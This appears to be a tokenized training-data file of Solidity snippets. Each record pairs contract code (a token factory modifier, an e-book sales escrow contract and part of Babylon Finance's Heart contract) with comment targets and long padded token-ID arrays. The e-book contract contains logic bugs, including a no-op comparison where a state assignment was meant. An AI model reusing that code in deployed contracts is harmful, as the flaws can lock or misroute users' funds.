-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import "../interfaces/ITokenStrategy.sol"; import "../../components-registry/getters/TokensFactoryAddress.sol"; /** * @title Token deployment Strategy */ contract TokenDeploymentStrategy is TokensFactoryAddress, ITokenStrategy { // Emit when created new token event CreatedToken( string name, string symbol, uint8 decimals, uint totalSupply, address tokenAddress ); /** * @notice Werify address * @param sender Sender address */ modifier onlyTokensFactory(address sender) { address tokensFactory = getTokensFactoryAddress(); require(sender == tokensFactory, "Allowed only for the Tokens factory"); _; } }
* @notice Werify address @param sender Sender address/
modifier onlyTokensFactory(address sender) { address tokensFactory = getTokensFactoryAddress(); require(sender == tokensFactory, "Allowed only for the Tokens factory"); _; }
14,101,340
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 678, 264, 1164, 1758, 632, 891, 5793, 15044, 1758, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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042, 1338, 364, 326, 13899, 3272, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.0;//version 0.4 or higher contract BookContract{ //participating entities with Ethereum addresses address publisher; address author; //book author string public bookDescription;//description of book enum contractState { NotReady,Created, VerifiedandWaitingforCustomer,CustomerDeposited,PublisherDeposited, Aborted} contractState public state; enum customerState {lookingforBook, MoneyDeposited, ReceivedBookHashandToken, DoneVerification, SuccessfulDownload, UnsuccessfulDownload,Dispute, MoneyRefundedFully, HalfofMoneyRefunded } enum publisherState{WaitingForPublisherDeposit, CollateralDepositedByPublisher} publisherState public pubstate; uint bookPrice; uint authorRoyalty; uint publisherRoyalty; uint authorPayment; uint publisherPayment; uint public numberOfSuccessfulSales; //number of successful sales that were able to download the file and deposited correct amount of money uint public numberOfCustomers;//total number of customers inclusing those who deposited the money but could not download the file string MD5BookHash; mapping (address => customerState) public customers;//every ethereum address points to the state of the customer mapping (address => bool) public customerDownloadResult; //constructor function BookContract(){ bookDescription = "This book is a work of fiction."; bookPrice = 5 ether;//$13 author = 0x583031d1113ad414f02576bd6afabfb302140225; publisher = msg.sender; //address of contract creater (publisher) authorRoyalty = 15; publisherRoyalty = 85; authorPayment = (authorRoyalty*bookPrice)/100;//15% of the bookPrice is to the author publisherPayment = (publisherRoyalty*bookPrice)/100;//85% of the bookPrice is to the publisher state = contractState.NotReady; numberOfSuccessfulSales = 0; numberOfCustomers = 0; MD5BookHash = "6121769d20dda4884aa247f2649b9d8f";//MD5 hash of the book } //modifiers modifier OnlyPublisher(){ require(msg.sender == publisher); _; } modifier NotPublisher(){ require(msg.sender != publisher); _; } modifier OnlyAuthor(){ require(msg.sender == author); _; } modifier NotAuthor(){ require(msg.sender != author); _; } modifier costs() { require(msg.value == 2 * bookPrice);//depositing twice the book price _; } modifier pays() { require(msg.value == 2 * bookPrice);//depositing twice the book price _; } //Tracking Events event ContractCreated(address owner);//publisher announces contract is created event VerifiedContractSuccess(address author);//contract is verified and agreed with event ContractAborted(address receiver);//no agreement on contract content event DepositMoneyDone(address customer, string info); event HashProvidedToCustomer(address publisher, string info, address customer); event MD5HashANDTokenProvidedToCustomer(address publisher, string info, string hash, string info2, bytes32 token ,address customer); event DownloadSuccess(address customer, string info); event DownloadFailure(address customer, string info); event PaymentSettled(address customer, string info); event CustomerRefundFully(address customer, string info); event CustomerRefundHalfTheAmount(address customer, string info); event DownloadVerificationDispute(address publisher, address customer, string info); event HashVerifiedByCustomer(address customer, string info, bool result); event CollateralDeposited(address publisher, string info); function CreateAgreementContract() OnlyPublisher { require(state == contractState.NotReady); state = contractState.Created; ContractCreated(msg.sender); //trigger event } function DepositEtherToBuyBook() payable costs NotAuthor NotPublisher { require(state == contractState.VerifiedandWaitingforCustomer && customers[msg.sender] == customerState.lookingforBook ); customers[msg.sender] = customerState.MoneyDeposited; state == contractState.CustomerDeposited; DepositMoneyDone(msg.sender, "Money Deposited , Customer Waiting for Token And Hash"); //trigger event } function depositCollateral() payable costs OnlyPublisher { require(state == contractState.CustomerDeposited && customers[msg.sender] == customerState.MoneyDeposited); require(pubstate==publisherState.WaitingForPublisherDeposit); pubstate=publisherState.CollateralDepositedByPublisher; state= contractState.PublisherDeposited; CollateralDeposited(msg.sender, "Collateral Deposited by publisher"); } function provideHashANDToken(address customerAddress) OnlyPublisher () { require(customers[customerAddress] == customerState.MoneyDeposited && pubstate==publisherState.CollateralDepositedByPublisher); //generate unique Token bytes32 token = keccak256(msg.sender, numberOfCustomers, numberOfSuccessfulSales, block.timestamp); customers[customerAddress] = customerState.ReceivedBookHashandToken; MD5HashANDTokenProvidedToCustomer(msg.sender, "Hash" , MD5BookHash, "Token", token, customerAddress); } //customer verifies the hash and posts the result function verifyHash(address customerAddress, bool result) NotAuthor NotPublisher { require(customers[customerAddress] == customerState.ReceivedBookHashandToken); customers[customerAddress] = customerState.DoneVerification; customerDownloadResult[customerAddress] = result; //save the download result of the customer HashVerifiedByCustomer(msg.sender, "Hash verified by the customer as " , result); } //publisher verifies downlaod function verifyDownload(address customerAddress , bool result) OnlyPublisher{ require(customers[customerAddress] == customerState.DoneVerification); numberOfCustomers += 1; if (customerDownloadResult[customerAddress])//both are true or customer=true, publisher=false { DownloadSuccess(msg.sender, "Hash verified, and download is successful by the customer ") ; customers[customerAddress] = customerState.SuccessfulDownload; numberOfSuccessfulSales += 1; settlePayment(customerAddress, true); PaymentSettled(msg.sender, "All parties received their payment of a successful transaction."); } else if(customerDownloadResult[customerAddress] == false && result == false){//no download DownloadFailure(msg.sender, "UnsuccessfulDownload/Hash Mismatch by the customer "); customers[customerAddress] = customerState.UnsuccessfulDownload; settlePayment(customerAddress, false); CustomerRefundFully(msg.sender, "Customer is refunded due to an Unsuccessful transaction."); } else if (customerDownloadResult[customerAddress] == false && result == true){//dispute, solved offchain DownloadVerificationDispute(msg.sender, customerAddress, "Dispute should be solved off the chain"); customers[customerAddress] = customerState.Dispute; settlePayment(customerAddress, true); CustomerRefundHalfTheAmount(msg.sender, "There is a dispute. Customer is refunded half of the money only."); } } //can only be called from within the contract function settlePayment(address customerAddress, bool result) internal { if(result){ require(customers[customerAddress] == customerState.SuccessfulDownload || customers[customerAddress] == customerState.Dispute ); customerAddress.transfer(bookPrice); //return half of what was initially paid to the customerAddress publisher.transfer(publisherPayment); author.transfer(authorPayment); }else { require(customers[customerAddress] == customerState.UnsuccessfulDownload); customerAddress.transfer(2*bookPrice);//return full amount paid by customer } } function VerifyContract(bool result) OnlyAuthor { require(state == contractState.Created); if(result == true){//agreed upon and waiting for customers state = contractState.VerifiedandWaitingforCustomer; VerifiedContractSuccess(msg.sender); } else if (result == false){//no agreement on contract conditions state = contractState.Aborted; ContractAborted(msg.sender); selfdestruct(msg.sender); } } }
description of book
string public bookDescription;
5,511,607
[ 1, 4625, 348, 7953, 560, 30, 2477, 434, 6978, 203, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 533, 1071, 6978, 3291, 31, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; pragma abicoder v2; import {OwnableUpgradeable} from '@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol'; import {ERC20} from '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import {IERC20} from '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import {SafeERC20} from '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import {ECDSA} from '@openzeppelin/contracts/cryptography/ECDSA.sol'; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Factory.sol'; import '@uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol'; import '@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol'; import '@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol'; import {IHypervisor} from './interfaces/IHypervisor.sol'; import {IBabController} from './interfaces/IBabController.sol'; import {IGovernor} from './interfaces/external/oz/IGovernor.sol'; import {IGarden} from './interfaces/IGarden.sol'; import {IHeart} from './interfaces/IHeart.sol'; import {IWETH} from './interfaces/external/weth/IWETH.sol'; import {ICToken} from './interfaces/external/compound/ICToken.sol'; import {ICEther} from './interfaces/external/compound/ICEther.sol'; import {IComptroller} from './interfaces/external/compound/IComptroller.sol'; import {IPriceOracle} from './interfaces/IPriceOracle.sol'; import {IMasterSwapper} from './interfaces/IMasterSwapper.sol'; import {IVoteToken} from './interfaces/IVoteToken.sol'; import {IERC1271} from './interfaces/IERC1271.sol'; import {PreciseUnitMath} from './lib/PreciseUnitMath.sol'; import {SafeDecimalMath} from './lib/SafeDecimalMath.sol'; import {LowGasSafeMath as SafeMath} from './lib/LowGasSafeMath.sol'; import {Errors, _require, _revert} from './lib/BabylonErrors.sol'; import {ControllerLib} from './lib/ControllerLib.sol'; /** * @title Heart * @author Babylon Finance * * Contract that assists The Heart of Babylon garden with BABL staking. * */ contract Heart is OwnableUpgradeable, IHeart, IERC1271 { using SafeERC20 for IERC20; using PreciseUnitMath for uint256; using SafeMath for uint256; using SafeDecimalMath for uint256; using ControllerLib for IBabController; /* ============ Modifiers ============ */ /** * Throws if the sender is not a keeper in the protocol */ function _onlyKeeper() private view { _require(controller.isValidKeeper(msg.sender), Errors.ONLY_KEEPER); } /* ============ Events ============ */ event FeesCollected(uint256 _timestamp, uint256 _amount); event LiquidityAdded(uint256 _timestamp, uint256 _wethBalance, uint256 _bablBalance); event BablBuyback(uint256 _timestamp, uint256 _wethSpent, uint256 _bablBought); event GardenSeedInvest(uint256 _timestamp, address indexed _garden, uint256 _wethInvested); event FuseLentAsset(uint256 _timestamp, address indexed _asset, uint256 _assetAmount); event BABLRewardSent(uint256 _timestamp, uint256 _bablSent); event ProposalVote(uint256 _timestamp, uint256 _proposalId, bool _isApprove); event UpdatedGardenWeights(uint256 _timestamp); /* ============ Constants ============ */ // Only for offline use by keeper/fauna bytes32 private constant VOTE_PROPOSAL_TYPEHASH = keccak256('ProposalVote(uint256 _proposalId,uint256 _amount,bool _isApprove)'); bytes32 private constant VOTE_GARDEN_TYPEHASH = keccak256('GardenVote(address _garden,uint256 _amount)'); // Visor IHypervisor private constant visor = IHypervisor(0xF19F91d7889668A533F14d076aDc187be781a458); // Address of Uniswap factory IUniswapV3Factory internal constant factory = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984); uint24 private constant FEE_LOW = 500; uint24 private constant FEE_MEDIUM = 3000; uint24 private constant FEE_HIGH = 10000; uint256 private constant DEFAULT_TRADE_SLIPPAGE = 25e15; // 2.5% // Tokens IWETH private constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IERC20 private constant BABL = IERC20(0xF4Dc48D260C93ad6a96c5Ce563E70CA578987c74); IERC20 private constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48); IERC20 private constant WBTC = IERC20(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); IERC20 private constant FRAX = IERC20(0x853d955aCEf822Db058eb8505911ED77F175b99e); IERC20 private constant FEI = IERC20(0x956F47F50A910163D8BF957Cf5846D573E7f87CA); // Fuse address private constant BABYLON_FUSE_POOL_ADDRESS = 0xC7125E3A2925877C7371d579D29dAe4729Ac9033; // Value Amount for protect purchases in DAI uint256 private constant PROTECT_BUY_AMOUNT_DAI = 2e21; /* ============ Immutables ============ */ IBabController private immutable controller; IGovernor private immutable governor; address private immutable treasury; /* ============ State Variables ============ */ // Instance of the Controller contract // Heart garden address IGarden public override heartGarden; // Variables to handle garden seed investments address[] public override votedGardens; uint256[] public override gardenWeights; // Min Amounts to trade mapping(address => uint256) public override minAmounts; // Fuse pool Variables // Mapping of asset addresses to cToken addresses in the fuse pool mapping(address => address) public override assetToCToken; // Which asset is going to receive the next batch of liquidity in fuse address public override assetToLend; // Timestamp when the heart was last pumped uint256 public override lastPumpAt; // Timestamp when the votes were sent by the keeper last uint256 public override lastVotesAt; // Amount to gift to the Heart of Babylon Garden weekly uint256 public override weeklyRewardAmount; uint256 public override bablRewardLeft; // Array with the weights to distribute to different heart activities // 0: Treasury // 1: Buybacks // 2: Liquidity BABL-ETH // 3: Garden Seed Investments // 4: Fuse Pool uint256[] public override feeDistributionWeights; // Metric Totals // 0: fees accumulated in weth // 1: Money sent to treasury // 2: babl bought in babl // 3: liquidity added in weth // 4: amount invested in gardens in weth // 5: amount lent on fuse in weth // 6: weekly rewards paid in babl uint256[7] public override totalStats; // Trade slippage to apply in trades uint256 public override tradeSlippage; // Asset to use to buy protocol wanted assets address public override assetForPurchases; // Bond Assets with the discount mapping(address => uint256) public override bondAssets; // EIP-1271 signer address private signer; uint256 private constant MIN_PUMP_WETH = 15e17; // 1.5 ETH /* ============ Initializer ============ */ /** * Set controller and governor addresses * * @param _controller Address of controller contract * @param _governor Address of governor contract */ constructor(IBabController _controller, IGovernor _governor) initializer { _require(address(_controller) != address(0), Errors.ADDRESS_IS_ZERO); _require(address(_governor) != address(0), Errors.ADDRESS_IS_ZERO); controller = _controller; treasury = _controller.treasury(); governor = _governor; } /** * Set state variables and map asset pairs to their oracles * * @param _feeWeights Weights of the fee distribution */ function initialize(uint256[] calldata _feeWeights) external initializer { OwnableUpgradeable.__Ownable_init(); updateFeeWeights(_feeWeights); updateMarkets(); updateAssetToLend(address(DAI)); minAmounts[address(DAI)] = 500e18; minAmounts[address(USDC)] = 500e6; minAmounts[address(WETH)] = 5e17; minAmounts[address(WBTC)] = 3e6; // Self-delegation to be able to use BABL balance as voting power IVoteToken(address(BABL)).delegate(address(this)); tradeSlippage = DEFAULT_TRADE_SLIPPAGE; } /* ============ External Functions ============ */ /** * Function to pump blood to the heart * * Note: Anyone can call this. Keeper in Defender will be set up to do it for convenience. */ function pump() public override { _require(address(heartGarden) != address(0), Errors.HEART_GARDEN_NOT_SET); _require(block.timestamp.sub(lastPumpAt) >= 1 weeks, Errors.HEART_ALREADY_PUMPED); _require(block.timestamp.sub(lastVotesAt) < 1 weeks, Errors.HEART_VOTES_MISSING); // Consolidate all fees _consolidateFeesToWeth(); uint256 wethBalance = WETH.balanceOf(address(this)); // Use fei to pump if needed if (wethBalance < MIN_PUMP_WETH) { uint256 feiPriceInWeth = IPriceOracle(controller.priceOracle()).getPrice(address(FEI), address(WETH)); uint256 feiNeeded = MIN_PUMP_WETH.sub(wethBalance).preciseMul(feiPriceInWeth).preciseMul(105e16); // a bit more just in case if (FEI.balanceOf(address(this)) >= feiNeeded) { _trade(address(FEI), address(WETH), feiNeeded); } } _require(wethBalance >= 15e17, Errors.HEART_MINIMUM_FEES); // Send 10% to the treasury IERC20(WETH).safeTransferFrom(address(this), treasury, wethBalance.preciseMul(feeDistributionWeights[0])); totalStats[1] = totalStats[1].add(wethBalance.preciseMul(feeDistributionWeights[0])); // 30% for buybacks _buyback(wethBalance.preciseMul(feeDistributionWeights[1])); // 25% to BABL-ETH pair _addLiquidity(wethBalance.preciseMul(feeDistributionWeights[2])); // 15% to Garden Investments _investInGardens(wethBalance.preciseMul(feeDistributionWeights[3])); // 20% lend in fuse pool _lendFusePool(address(WETH), wethBalance.preciseMul(feeDistributionWeights[4]), address(assetToLend)); // Add BABL reward to stakers (if any) _sendWeeklyReward(); lastPumpAt = block.timestamp; } /** * Function to vote for a proposal * * Note: Only keeper can call this. Votes need to have been resolved offchain. * Warning: Gardens need to delegate to heart first. */ function voteProposal(uint256 _proposalId, bool _isApprove) external override { _onlyKeeper(); // Governor does revert if trying to cast a vote twice or if proposal is not active IGovernor(governor).castVote(_proposalId, _isApprove ? 1 : 0); emit ProposalVote(block.timestamp, _proposalId, _isApprove); } /** 